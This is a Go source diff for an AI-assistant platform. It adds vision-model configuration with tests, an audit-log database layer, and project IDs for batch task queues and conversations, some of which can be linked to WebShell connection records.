// ApplyDevHTTPSBootstrap 供 --https / 一键脚本使用:强制开启主站 TLS。
|
||||
// 若已配置 tls_cert_path 与 tls_key_path 则仅用 PEM,不开启自签;否则启用 tls_auto_self_sign(内存证书,仅本地测试)。
|
||||
func ApplyDevHTTPSBootstrap(cfg *Config) {
|
||||
if cfg == nil {
|
||||
return
|
||||
}
|
||||
cfg.Server.TLSEnabled = true
|
||||
cert := strings.TrimSpace(cfg.Server.TLSCertPath)
|
||||
key := strings.TrimSpace(cfg.Server.TLSKeyPath)
|
||||
if cert != "" && key != "" {
|
||||
cfg.Server.TLSAutoSelfSign = false
|
||||
return
|
||||
}
|
||||
cfg.Server.TLSAutoSelfSign = true
|
||||
}
|
||||
@@ -0,0 +1,98 @@
|
||||
package config
|
||||
|
||||
import "strings"
|
||||
|
||||
// VisionConfig 独立视觉模型与 analyze_image 工具参数;enabled 时注册 MCP 工具 analyze_image。
|
||||
type VisionConfig struct {
|
||||
Enabled bool `yaml:"enabled" json:"enabled"`
|
||||
APIKey string `yaml:"api_key,omitempty" json:"api_key,omitempty"`
|
||||
BaseURL string `yaml:"base_url,omitempty" json:"base_url,omitempty"`
|
||||
Model string `yaml:"model,omitempty" json:"model,omitempty"`
|
||||
Provider string `yaml:"provider,omitempty" json:"provider,omitempty"`
|
||||
TimeoutSeconds int `yaml:"timeout_seconds,omitempty" json:"timeout_seconds,omitempty"`
|
||||
MaxImageBytes int64 `yaml:"max_image_bytes,omitempty" json:"max_image_bytes,omitempty"`
|
||||
MaxDimension int `yaml:"max_dimension,omitempty" json:"max_dimension,omitempty"`
|
||||
JPEGQuality int `yaml:"jpeg_quality,omitempty" json:"jpeg_quality,omitempty"`
|
||||
MaxPayloadBytes int64 `yaml:"max_payload_bytes,omitempty" json:"max_payload_bytes,omitempty"`
|
||||
SkipPreprocessBelowBytes int64 `yaml:"skip_preprocess_below_bytes,omitempty" json:"skip_preprocess_below_bytes,omitempty"` // 0=始终压缩;默认 2MB 且长边已<=max_dimension 时原图直传
|
||||
Detail string `yaml:"detail,omitempty" json:"detail,omitempty"` // low | high | auto
|
||||
AllowedRoots []string `yaml:"allowed_roots,omitempty" json:"allowed_roots,omitempty"`
|
||||
}
|
||||
|
||||
func (v VisionConfig) TimeoutSecondsEffective() int {
|
||||
if v.TimeoutSeconds <= 0 {
|
||||
return 60
|
||||
}
|
||||
return v.TimeoutSeconds
|
||||
}
|
||||
|
||||
func (v VisionConfig) MaxImageBytesEffective() int64 {
|
||||
if v.MaxImageBytes <= 0 {
|
||||
return 5 * 1024 * 1024
|
||||
}
|
||||
return v.MaxImageBytes
|
||||
}
|
||||
|
||||
func (v VisionConfig) MaxDimensionEffective() int {
|
||||
if v.MaxDimension <= 0 {
|
||||
return 2048
|
||||
}
|
||||
return v.MaxDimension
|
||||
}
|
||||
|
||||
func (v VisionConfig) JPEGQualityEffective() int {
|
||||
if v.JPEGQuality <= 0 || v.JPEGQuality > 100 {
|
||||
return 82
|
||||
}
|
||||
return v.JPEGQuality
|
||||
}
|
||||
|
||||
func (v VisionConfig) MaxPayloadBytesEffective() int64 {
|
||||
if v.MaxPayloadBytes <= 0 {
|
||||
return 512 * 1024
|
||||
}
|
||||
return v.MaxPayloadBytes
|
||||
}
|
||||
|
||||
// SkipPreprocessBelowBytesEffective 低于该字节数且长边<=max_dimension、且<=max_payload 时可原图直传;0 表示始终压缩。
|
||||
func (v VisionConfig) SkipPreprocessBelowBytesEffective() int64 {
|
||||
if v.SkipPreprocessBelowBytes < 0 {
|
||||
return 0
|
||||
}
|
||||
return v.SkipPreprocessBelowBytes
|
||||
}
|
||||
|
||||
func (v VisionConfig) DetailEffective() string {
|
||||
d := strings.ToLower(strings.TrimSpace(v.Detail))
|
||||
switch d {
|
||||
case "high", "low", "auto":
|
||||
return d
|
||||
default:
|
||||
return "low"
|
||||
}
|
||||
}
|
||||
|
||||
// OpenAICfgEffective 合并主 openai 配置与 vision 覆盖项,供 VL ChatModel 使用。
|
||||
// vision.api_key / base_url / provider 留空或省略时,沿用 main(openai)对应字段;vision.model 必填(由 Ready 校验)。
|
||||
func (v VisionConfig) OpenAICfgEffective(main OpenAIConfig) OpenAIConfig {
|
||||
out := main
|
||||
if k := strings.TrimSpace(v.APIKey); k != "" {
|
||||
out.APIKey = k
|
||||
}
|
||||
if u := strings.TrimSpace(v.BaseURL); u != "" {
|
||||
out.BaseURL = u
|
||||
}
|
||||
if m := strings.TrimSpace(v.Model); m != "" {
|
||||
out.Model = m
|
||||
}
|
||||
if p := strings.TrimSpace(v.Provider); p != "" {
|
||||
out.Provider = p
|
||||
}
|
||||
out.Reasoning.Mode = "off"
|
||||
return out
|
||||
}
|
||||
|
||||
// Ready 表示已启用且模型名非空。
|
||||
func (v VisionConfig) Ready() bool {
|
||||
return v.Enabled && strings.TrimSpace(v.Model) != ""
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
package config
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestVisionConfig_OpenAICfgEffective_fallbackToMain(t *testing.T) {
|
||||
main := OpenAIConfig{
|
||||
APIKey: "main-key",
|
||||
BaseURL: "https://main.example/v1",
|
||||
Model: "main-model",
|
||||
Provider: "openai",
|
||||
}
|
||||
v := VisionConfig{Model: "qwen-vl-max"}
|
||||
out := v.OpenAICfgEffective(main)
|
||||
if out.APIKey != main.APIKey || out.BaseURL != main.BaseURL || out.Provider != main.Provider {
|
||||
t.Fatalf("expected openai fallback, got key=%q url=%q provider=%q", out.APIKey, out.BaseURL, out.Provider)
|
||||
}
|
||||
if out.Model != "qwen-vl-max" {
|
||||
t.Fatalf("model: %s", out.Model)
|
||||
}
|
||||
}
|
||||
|
||||
func TestVisionConfig_OpenAICfgEffective(t *testing.T) {
|
||||
main := OpenAIConfig{
|
||||
APIKey: "main-key",
|
||||
BaseURL: "https://main.example/v1",
|
||||
Model: "main-model",
|
||||
Provider: "openai",
|
||||
Reasoning: OpenAIReasoningConfig{Mode: "on"},
|
||||
}
|
||||
v := VisionConfig{
|
||||
Model: "vl-model",
|
||||
APIKey: "vl-key",
|
||||
BaseURL: "https://vl.example/v1",
|
||||
Provider: "claude",
|
||||
}
|
||||
out := v.OpenAICfgEffective(main)
|
||||
if out.APIKey != "vl-key" || out.BaseURL != "https://vl.example/v1" || out.Model != "vl-model" {
|
||||
t.Fatalf("unexpected merge: %+v", out)
|
||||
}
|
||||
if out.Provider != "claude" {
|
||||
t.Fatalf("provider: %s", out.Provider)
|
||||
}
|
||||
if out.Reasoning.Mode != "off" {
|
||||
t.Fatalf("reasoning should be off for vision, got %s", out.Reasoning.Mode)
|
||||
}
|
||||
}
|
||||
|
||||
func TestVisionConfig_Ready(t *testing.T) {
|
||||
if (VisionConfig{Enabled: true, Model: "x"}).Ready() != true {
|
||||
t.Fatal("expected ready")
|
||||
}
|
||||
if (VisionConfig{Enabled: true}).Ready() != false {
|
||||
t.Fatal("expected not ready without model")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,210 @@
|
||||
package database
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// AuditLog platform operation audit record.
|
||||
type AuditLog struct {
|
||||
ID string `json:"id"`
|
||||
CreatedAt time.Time `json:"createdAt"`
|
||||
Level string `json:"level"`
|
||||
Category string `json:"category"`
|
||||
Action string `json:"action"`
|
||||
Result string `json:"result"`
|
||||
Actor string `json:"actor"`
|
||||
SessionHint string `json:"sessionHint,omitempty"`
|
||||
ClientIP string `json:"clientIp,omitempty"`
|
||||
UserAgent string `json:"userAgent,omitempty"`
|
||||
ResourceType string `json:"resourceType,omitempty"`
|
||||
ResourceID string `json:"resourceId,omitempty"`
|
||||
ResourceAvailable *bool `json:"resourceAvailable,omitempty"` // API-only: whether linked resource still exists
|
||||
Message string `json:"message"`
|
||||
Detail map[string]interface{} `json:"detail,omitempty"`
|
||||
}
|
||||
|
||||
// ListAuditLogsFilter query parameters.
|
||||
type ListAuditLogsFilter struct {
|
||||
Level string
|
||||
Category string
|
||||
Action string
|
||||
Result string
|
||||
Query string
|
||||
ResourceType string
|
||||
ResourceID string
|
||||
Since *time.Time
|
||||
Until *time.Time
|
||||
Limit int
|
||||
Offset int
|
||||
}
|
||||
|
||||
func buildAuditLogsWhere(filter ListAuditLogsFilter) (string, []interface{}) {
|
||||
conditions := []string{"1=1"}
|
||||
args := []interface{}{}
|
||||
if filter.Level != "" {
|
||||
conditions = append(conditions, "level = ?")
|
||||
args = append(args, filter.Level)
|
||||
}
|
||||
if filter.Category != "" {
|
||||
conditions = append(conditions, "category = ?")
|
||||
args = append(args, filter.Category)
|
||||
}
|
||||
if filter.Action != "" {
|
||||
conditions = append(conditions, "action = ?")
|
||||
args = append(args, filter.Action)
|
||||
}
|
||||
if filter.Result != "" {
|
||||
conditions = append(conditions, "result = ?")
|
||||
args = append(args, filter.Result)
|
||||
}
|
||||
if filter.ResourceType != "" {
|
||||
conditions = append(conditions, "resource_type = ?")
|
||||
args = append(args, filter.ResourceType)
|
||||
}
|
||||
if filter.ResourceID != "" {
|
||||
conditions = append(conditions, "resource_id = ?")
|
||||
args = append(args, filter.ResourceID)
|
||||
}
|
||||
if filter.Since != nil {
|
||||
conditions = append(conditions, "created_at >= ?")
|
||||
args = append(args, *filter.Since)
|
||||
}
|
||||
if filter.Until != nil {
|
||||
conditions = append(conditions, "created_at <= ?")
|
||||
args = append(args, *filter.Until)
|
||||
}
|
||||
if q := strings.TrimSpace(filter.Query); q != "" {
|
||||
like := "%" + q + "%"
|
||||
conditions = append(conditions, "(message LIKE ? OR resource_id LIKE ? OR action LIKE ? OR category LIKE ?)")
|
||||
args = append(args, like, like, like, like)
|
||||
}
|
||||
return strings.Join(conditions, " AND "), args
|
||||
}
|
||||
|
||||
// AppendAuditLog inserts one audit row.
|
||||
func (db *DB) AppendAuditLog(row *AuditLog) error {
|
||||
if row == nil {
|
||||
return errors.New("audit log is nil")
|
||||
}
|
||||
if strings.TrimSpace(row.ID) == "" {
|
||||
return errors.New("audit id is required")
|
||||
}
|
||||
if row.CreatedAt.IsZero() {
|
||||
row.CreatedAt = time.Now()
|
||||
}
|
||||
if strings.TrimSpace(row.Level) == "" {
|
||||
row.Level = "info"
|
||||
}
|
||||
detailJSON := ""
|
||||
if len(row.Detail) > 0 {
|
||||
if b, err := json.Marshal(row.Detail); err == nil {
|
||||
detailJSON = string(b)
|
||||
}
|
||||
}
|
||||
query := `
|
||||
INSERT INTO audit_logs (
|
||||
id, created_at, level, category, action, result, actor, session_hint,
|
||||
client_ip, user_agent, resource_type, resource_id, message, detail_json
|
||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
`
|
||||
_, err := db.Exec(query,
|
||||
row.ID, row.CreatedAt, row.Level, row.Category, row.Action, row.Result,
|
||||
row.Actor, row.SessionHint, row.ClientIP, row.UserAgent,
|
||||
row.ResourceType, row.ResourceID, row.Message, detailJSON,
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
// GetAuditLogByID returns one row.
|
||||
func (db *DB) GetAuditLogByID(id string) (*AuditLog, error) {
|
||||
id = strings.TrimSpace(id)
|
||||
if id == "" {
|
||||
return nil, errors.New("id is required")
|
||||
}
|
||||
query := `
|
||||
SELECT id, created_at, level, category, action, result, actor,
|
||||
COALESCE(session_hint, ''), COALESCE(client_ip, ''), COALESCE(user_agent, ''),
|
||||
COALESCE(resource_type, ''), COALESCE(resource_id, ''), message, COALESCE(detail_json, '')
|
||||
FROM audit_logs WHERE id = ?
|
||||
`
|
||||
var row AuditLog
|
||||
var detailJSON string
|
||||
err := db.QueryRow(query, id).Scan(
|
||||
&row.ID, &row.CreatedAt, &row.Level, &row.Category, &row.Action, &row.Result, &row.Actor,
|
||||
&row.SessionHint, &row.ClientIP, &row.UserAgent,
|
||||
&row.ResourceType, &row.ResourceID, &row.Message, &detailJSON,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if detailJSON != "" {
|
||||
_ = json.Unmarshal([]byte(detailJSON), &row.Detail)
|
||||
}
|
||||
return &row, nil
|
||||
}
|
||||
|
||||
// CountAuditLogs counts rows matching filter.
|
||||
func (db *DB) CountAuditLogs(filter ListAuditLogsFilter) (int64, error) {
|
||||
where, args := buildAuditLogsWhere(filter)
|
||||
query := `SELECT COUNT(*) FROM audit_logs WHERE ` + where
|
||||
var n int64
|
||||
err := db.QueryRow(query, args...).Scan(&n)
|
||||
return n, err
|
||||
}
|
||||
|
||||
// ListAuditLogs lists audit rows newest first.
|
||||
func (db *DB) ListAuditLogs(filter ListAuditLogsFilter) ([]*AuditLog, error) {
|
||||
where, args := buildAuditLogsWhere(filter)
|
||||
limit := filter.Limit
|
||||
if limit <= 0 || limit > 500 {
|
||||
limit = 50
|
||||
}
|
||||
offset := filter.Offset
|
||||
if offset < 0 {
|
||||
offset = 0
|
||||
}
|
||||
query := `
|
||||
SELECT id, created_at, level, category, action, result, actor,
|
||||
COALESCE(session_hint, ''), COALESCE(client_ip, ''), COALESCE(user_agent, ''),
|
||||
COALESCE(resource_type, ''), COALESCE(resource_id, ''), message, COALESCE(detail_json, '')
|
||||
FROM audit_logs
|
||||
WHERE ` + where + `
|
||||
ORDER BY created_at DESC
|
||||
LIMIT ? OFFSET ?
|
||||
`
|
||||
args = append(args, limit, offset)
|
||||
rows, err := db.Query(query, args...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var list []*AuditLog
|
||||
for rows.Next() {
|
||||
var row AuditLog
|
||||
var detailJSON string
|
||||
if err := rows.Scan(
|
||||
&row.ID, &row.CreatedAt, &row.Level, &row.Category, &row.Action, &row.Result, &row.Actor,
|
||||
&row.SessionHint, &row.ClientIP, &row.UserAgent,
|
||||
&row.ResourceType, &row.ResourceID, &row.Message, &detailJSON,
|
||||
); err != nil {
|
||||
continue
|
||||
}
|
||||
if detailJSON != "" {
|
||||
_ = json.Unmarshal([]byte(detailJSON), &row.Detail)
|
||||
}
|
||||
list = append(list, &row)
|
||||
}
|
||||
return list, rows.Err()
|
||||
}
|
||||
|
||||
// DeleteAuditLogsBefore removes rows older than cutoff.
|
||||
func (db *DB) DeleteAuditLogsBefore(cutoff time.Time) (int64, error) {
|
||||
res, err := db.Exec(`DELETE FROM audit_logs WHERE created_at < ?`, cutoff)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return res.RowsAffected()
|
||||
}
|
||||
@@ -22,6 +22,7 @@ type BatchTaskQueueRow struct {
|
||||
LastScheduleTriggerAt sql.NullTime
|
||||
LastScheduleError sql.NullString
|
||||
LastRunError sql.NullString
|
||||
ProjectID sql.NullString
|
||||
Status string
|
||||
CreatedAt time.Time
|
||||
StartedAt sql.NullTime
|
||||
@@ -51,6 +52,7 @@ func (db *DB) CreateBatchQueue(
|
||||
scheduleMode string,
|
||||
cronExpr string,
|
||||
nextRunAt *time.Time,
|
||||
projectID string,
|
||||
tasks []map[string]interface{},
|
||||
) error {
|
||||
tx, err := db.Begin()
|
||||
@@ -65,9 +67,13 @@ func (db *DB) CreateBatchQueue(
|
||||
nextRunAtValue = *nextRunAt
|
||||
}
|
||||
|
||||
var projectIDVal interface{}
|
||||
if strings.TrimSpace(projectID) != "" {
|
||||
projectIDVal = strings.TrimSpace(projectID)
|
||||
}
|
||||
_, err = tx.Exec(
|
||||
"INSERT INTO batch_task_queues (id, title, role, agent_mode, schedule_mode, cron_expr, next_run_at, schedule_enabled, status, created_at, current_index) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",
|
||||
queueID, title, role, agentMode, scheduleMode, cronExpr, nextRunAtValue, 1, "pending", now, 0,
|
||||
"INSERT INTO batch_task_queues (id, title, role, agent_mode, schedule_mode, cron_expr, next_run_at, schedule_enabled, project_id, status, created_at, current_index) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",
|
||||
queueID, title, role, agentMode, scheduleMode, cronExpr, nextRunAtValue, 1, projectIDVal, "pending", now, 0,
|
||||
)
|
||||
if err != nil {
|
||||
return fmt.Errorf("创建批量任务队列失败: %w", err)
|
||||
@@ -101,9 +107,9 @@ func (db *DB) GetBatchQueue(queueID string) (*BatchTaskQueueRow, error) {
|
||||
var row BatchTaskQueueRow
|
||||
var createdAt string
|
||||
err := db.QueryRow(
|
||||
"SELECT id, title, role, agent_mode, schedule_mode, cron_expr, next_run_at, schedule_enabled, last_schedule_trigger_at, last_schedule_error, last_run_error, status, created_at, started_at, completed_at, current_index FROM batch_task_queues WHERE id = ?",
|
||||
"SELECT id, title, role, agent_mode, schedule_mode, cron_expr, next_run_at, schedule_enabled, last_schedule_trigger_at, last_schedule_error, last_run_error, project_id, status, created_at, started_at, completed_at, current_index FROM batch_task_queues WHERE id = ?",
|
||||
queueID,
|
||||
).Scan(&row.ID, &row.Title, &row.Role, &row.AgentMode, &row.ScheduleMode, &row.CronExpr, &row.NextRunAt, &row.ScheduleEnabled, &row.LastScheduleTriggerAt, &row.LastScheduleError, &row.LastRunError, &row.Status, &createdAt, &row.StartedAt, &row.CompletedAt, &row.CurrentIndex)
|
||||
).Scan(&row.ID, &row.Title, &row.Role, &row.AgentMode, &row.ScheduleMode, &row.CronExpr, &row.NextRunAt, &row.ScheduleEnabled, &row.LastScheduleTriggerAt, &row.LastScheduleError, &row.LastRunError, &row.ProjectID, &row.Status, &createdAt, &row.StartedAt, &row.CompletedAt, &row.CurrentIndex)
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, nil
|
||||
}
|
||||
@@ -127,7 +133,7 @@ func (db *DB) GetBatchQueue(queueID string) (*BatchTaskQueueRow, error) {
|
||||
// GetAllBatchQueues 获取所有批量任务队列
|
||||
func (db *DB) GetAllBatchQueues() ([]*BatchTaskQueueRow, error) {
|
||||
rows, err := db.Query(
|
||||
"SELECT id, title, role, agent_mode, schedule_mode, cron_expr, next_run_at, schedule_enabled, last_schedule_trigger_at, last_schedule_error, last_run_error, status, created_at, started_at, completed_at, current_index FROM batch_task_queues ORDER BY created_at DESC",
|
||||
"SELECT id, title, role, agent_mode, schedule_mode, cron_expr, next_run_at, schedule_enabled, last_schedule_trigger_at, last_schedule_error, last_run_error, project_id, status, created_at, started_at, completed_at, current_index FROM batch_task_queues ORDER BY created_at DESC",
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("查询批量任务队列列表失败: %w", err)
|
||||
@@ -138,7 +144,7 @@ func (db *DB) GetAllBatchQueues() ([]*BatchTaskQueueRow, error) {
|
||||
for rows.Next() {
|
||||
var row BatchTaskQueueRow
|
||||
var createdAt string
|
||||
if err := rows.Scan(&row.ID, &row.Title, &row.Role, &row.AgentMode, &row.ScheduleMode, &row.CronExpr, &row.NextRunAt, &row.ScheduleEnabled, &row.LastScheduleTriggerAt, &row.LastScheduleError, &row.LastRunError, &row.Status, &createdAt, &row.StartedAt, &row.CompletedAt, &row.CurrentIndex); err != nil {
|
||||
if err := rows.Scan(&row.ID, &row.Title, &row.Role, &row.AgentMode, &row.ScheduleMode, &row.CronExpr, &row.NextRunAt, &row.ScheduleEnabled, &row.LastScheduleTriggerAt, &row.LastScheduleError, &row.LastRunError, &row.ProjectID, &row.Status, &createdAt, &row.StartedAt, &row.CompletedAt, &row.CurrentIndex); err != nil {
|
||||
return nil, fmt.Errorf("扫描批量任务队列失败: %w", err)
|
||||
}
|
||||
parsedTime, parseErr := time.Parse("2006-01-02 15:04:05", createdAt)
|
||||
@@ -158,7 +164,7 @@ func (db *DB) GetAllBatchQueues() ([]*BatchTaskQueueRow, error) {
|
||||
|
||||
// ListBatchQueues 列出批量任务队列(支持筛选和分页)
|
||||
func (db *DB) ListBatchQueues(limit, offset int, status, keyword string) ([]*BatchTaskQueueRow, error) {
|
||||
query := "SELECT id, title, role, agent_mode, schedule_mode, cron_expr, next_run_at, schedule_enabled, last_schedule_trigger_at, last_schedule_error, last_run_error, status, created_at, started_at, completed_at, current_index FROM batch_task_queues WHERE 1=1"
|
||||
query := "SELECT id, title, role, agent_mode, schedule_mode, cron_expr, next_run_at, schedule_enabled, last_schedule_trigger_at, last_schedule_error, last_run_error, project_id, status, created_at, started_at, completed_at, current_index FROM batch_task_queues WHERE 1=1"
|
||||
args := []interface{}{}
|
||||
|
||||
// 状态筛选
|
||||
@@ -186,7 +192,7 @@ func (db *DB) ListBatchQueues(limit, offset int, status, keyword string) ([]*Bat
|
||||
for rows.Next() {
|
||||
var row BatchTaskQueueRow
|
||||
var createdAt string
|
||||
if err := rows.Scan(&row.ID, &row.Title, &row.Role, &row.AgentMode, &row.ScheduleMode, &row.CronExpr, &row.NextRunAt, &row.ScheduleEnabled, &row.LastScheduleTriggerAt, &row.LastScheduleError, &row.LastRunError, &row.Status, &createdAt, &row.StartedAt, &row.CompletedAt, &row.CurrentIndex); err != nil {
|
||||
if err := rows.Scan(&row.ID, &row.Title, &row.Role, &row.AgentMode, &row.ScheduleMode, &row.CronExpr, &row.NextRunAt, &row.ScheduleEnabled, &row.LastScheduleTriggerAt, &row.LastScheduleError, &row.LastRunError, &row.ProjectID, &row.Status, &createdAt, &row.StartedAt, &row.CompletedAt, &row.CurrentIndex); err != nil {
|
||||
return nil, fmt.Errorf("扫描批量任务队列失败: %w", err)
|
||||
}
|
||||
parsedTime, parseErr := time.Parse("2006-01-02 15:04:05", createdAt)
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -17,6 +17,7 @@ import (
|
||||
type Conversation struct {
|
||||
ID string `json:"id"`
|
||||
Title string `json:"title"`
|
||||
ProjectID string `json:"projectId,omitempty"`
|
||||
Pinned bool `json:"pinned"`
|
||||
CreatedAt time.Time `json:"createdAt"`
|
||||
UpdatedAt time.Time `json:"updatedAt"`
|
||||
@@ -25,32 +26,53 @@ type Conversation struct {
|
||||
|
||||
// Message 消息
|
||||
type Message struct {
|
||||
ID string `json:"id"`
|
||||
ConversationID string `json:"conversationId"`
|
||||
Role string `json:"role"`
|
||||
Content string `json:"content"`
|
||||
MCPExecutionIDs []string `json:"mcpExecutionIds,omitempty"`
|
||||
ProcessDetails []map[string]interface{} `json:"processDetails,omitempty"`
|
||||
CreatedAt time.Time `json:"createdAt"`
|
||||
ID string `json:"id"`
|
||||
ConversationID string `json:"conversationId"`
|
||||
Role string `json:"role"`
|
||||
Content string `json:"content"`
|
||||
ReasoningContent string `json:"reasoningContent,omitempty"`
|
||||
MCPExecutionIDs []string `json:"mcpExecutionIds,omitempty"`
|
||||
ProcessDetails []map[string]interface{} `json:"processDetails,omitempty"`
|
||||
CreatedAt time.Time `json:"createdAt"`
|
||||
UpdatedAt time.Time `json:"updatedAt"`
|
||||
}
|
||||
|
||||
// CreateConversation 创建新对话
|
||||
func (db *DB) CreateConversation(title string) (*Conversation, error) {
|
||||
return db.CreateConversationWithWebshell("", title)
|
||||
func (db *DB) CreateConversation(title string, meta ConversationCreateMeta) (*Conversation, error) {
|
||||
return db.CreateConversationWithWebshell("", title, meta)
|
||||
}
|
||||
|
||||
// CreateConversationWithWebshell 创建新对话,可选绑定 WebShell 连接 ID(为空则普通对话)
|
||||
func (db *DB) CreateConversationWithWebshell(webshellConnectionID, title string) (*Conversation, error) {
|
||||
func (db *DB) CreateConversationWithWebshell(webshellConnectionID, title string, meta ConversationCreateMeta) (*Conversation, error) {
|
||||
id := uuid.New().String()
|
||||
now := time.Now()
|
||||
|
||||
projectID := strings.TrimSpace(meta.ProjectID)
|
||||
if projectID != "" {
|
||||
if _, err := db.GetProject(projectID); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
var err error
|
||||
if webshellConnectionID != "" {
|
||||
wsID := strings.TrimSpace(webshellConnectionID)
|
||||
switch {
|
||||
case wsID != "" && projectID != "":
|
||||
_, err = db.Exec(
|
||||
"INSERT INTO conversations (id, title, created_at, updated_at, webshell_connection_id, project_id) VALUES (?, ?, ?, ?, ?, ?)",
|
||||
id, title, now, now, wsID, projectID,
|
||||
)
|
||||
case wsID != "":
|
||||
_, err = db.Exec(
|
||||
"INSERT INTO conversations (id, title, created_at, updated_at, webshell_connection_id) VALUES (?, ?, ?, ?, ?)",
|
||||
id, title, now, now, webshellConnectionID,
|
||||
id, title, now, now, wsID,
|
||||
)
|
||||
} else {
|
||||
case projectID != "":
|
||||
_, err = db.Exec(
|
||||
"INSERT INTO conversations (id, title, created_at, updated_at, project_id) VALUES (?, ?, ?, ?, ?)",
|
||||
id, title, now, now, projectID,
|
||||
)
|
||||
default:
|
||||
_, err = db.Exec(
|
||||
"INSERT INTO conversations (id, title, created_at, updated_at) VALUES (?, ?, ?, ?)",
|
||||
id, title, now, now,
|
||||
@@ -60,12 +82,18 @@ func (db *DB) CreateConversationWithWebshell(webshellConnectionID, title string)
|
||||
return nil, fmt.Errorf("创建对话失败: %w", err)
|
||||
}
|
||||
|
||||
return &Conversation{
|
||||
conv := &Conversation{
|
||||
ID: id,
|
||||
Title: title,
|
||||
ProjectID: projectID,
|
||||
CreatedAt: now,
|
||||
UpdatedAt: now,
|
||||
}, nil
|
||||
}
|
||||
if wsID != "" {
|
||||
meta.WebShellConnectionID = wsID
|
||||
}
|
||||
notifyConversationCreated(conv, meta)
|
||||
return conv, nil
|
||||
}
|
||||
|
||||
// GetConversationByWebshellConnectionID 根据 WebShell 连接 ID 获取该连接下最近一条对话(用于 AI 助手持久化)
|
||||
@@ -115,6 +143,7 @@ func (db *DB) GetConversationByWebshellConnectionID(connectionID string) (*Conve
|
||||
}
|
||||
for i := range conv.Messages {
|
||||
if details, ok := processDetailsMap[conv.Messages[i].ID]; ok {
|
||||
details = DedupeConsecutiveProcessDetails(details)
|
||||
detailsJSON := make([]map[string]interface{}, len(details))
|
||||
for j, detail := range details {
|
||||
var data interface{}
|
||||
@@ -179,22 +208,43 @@ func (db *DB) ListConversationsByWebshellConnectionID(connectionID string) ([]We
|
||||
return list, rows.Err()
|
||||
}
|
||||
|
||||
// ConversationExists reports whether a conversation row exists (lightweight check for audit links).
|
||||
func (db *DB) ConversationExists(id string) (bool, error) {
|
||||
id = strings.TrimSpace(id)
|
||||
if id == "" {
|
||||
return false, nil
|
||||
}
|
||||
var one int
|
||||
err := db.QueryRow("SELECT 1 FROM conversations WHERE id = ? LIMIT 1", id).Scan(&one)
|
||||
if err == sql.ErrNoRows {
|
||||
return false, nil
|
||||
}
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// GetConversation 获取对话
|
||||
func (db *DB) GetConversation(id string) (*Conversation, error) {
|
||||
var conv Conversation
|
||||
var createdAt, updatedAt string
|
||||
var pinned int
|
||||
|
||||
var projectID sql.NullString
|
||||
err := db.QueryRow(
|
||||
"SELECT id, title, pinned, created_at, updated_at FROM conversations WHERE id = ?",
|
||||
"SELECT id, title, pinned, created_at, updated_at, project_id FROM conversations WHERE id = ?",
|
||||
id,
|
||||
).Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt)
|
||||
).Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID)
|
||||
if err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, fmt.Errorf("对话不存在")
|
||||
}
|
||||
return nil, fmt.Errorf("查询对话失败: %w", err)
|
||||
}
|
||||
if projectID.Valid {
|
||||
conv.ProjectID = strings.TrimSpace(projectID.String)
|
||||
}
|
||||
|
||||
// 尝试多种时间格式解析
|
||||
var err1, err2 error
|
||||
@@ -233,6 +283,7 @@ func (db *DB) GetConversation(id string) (*Conversation, error) {
|
||||
// 将过程详情附加到对应的消息上
|
||||
for i := range conv.Messages {
|
||||
if details, ok := processDetailsMap[conv.Messages[i].ID]; ok {
|
||||
details = DedupeConsecutiveProcessDetails(details)
|
||||
// 将ProcessDetail转换为JSON格式,以便前端使用
|
||||
detailsJSON := make([]map[string]interface{}, len(details))
|
||||
for j, detail := range details {
|
||||
@@ -266,16 +317,20 @@ func (db *DB) GetConversationLite(id string) (*Conversation, error) {
|
||||
var createdAt, updatedAt string
|
||||
var pinned int
|
||||
|
||||
var projectID sql.NullString
|
||||
err := db.QueryRow(
|
||||
"SELECT id, title, pinned, created_at, updated_at FROM conversations WHERE id = ?",
|
||||
"SELECT id, title, pinned, created_at, updated_at, project_id FROM conversations WHERE id = ?",
|
||||
id,
|
||||
).Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt)
|
||||
).Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID)
|
||||
if err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, fmt.Errorf("对话不存在")
|
||||
}
|
||||
return nil, fmt.Errorf("查询对话失败: %w", err)
|
||||
}
|
||||
if projectID.Valid {
|
||||
conv.ProjectID = strings.TrimSpace(projectID.String)
|
||||
}
|
||||
|
||||
// 尝试多种时间格式解析
|
||||
var err1, err2 error
|
||||
@@ -315,7 +370,7 @@ func (db *DB) ListConversations(limit, offset int, search string) ([]*Conversati
|
||||
// 使用 EXISTS 子查询代替 LEFT JOIN + DISTINCT,避免大表笛卡尔积
|
||||
searchPattern := "%" + search + "%"
|
||||
rows, err = db.Query(
|
||||
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at
|
||||
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id
|
||||
FROM conversations c
|
||||
WHERE c.title LIKE ?
|
||||
OR EXISTS (SELECT 1 FROM messages m WHERE m.conversation_id = c.id AND m.content LIKE ?)
|
||||
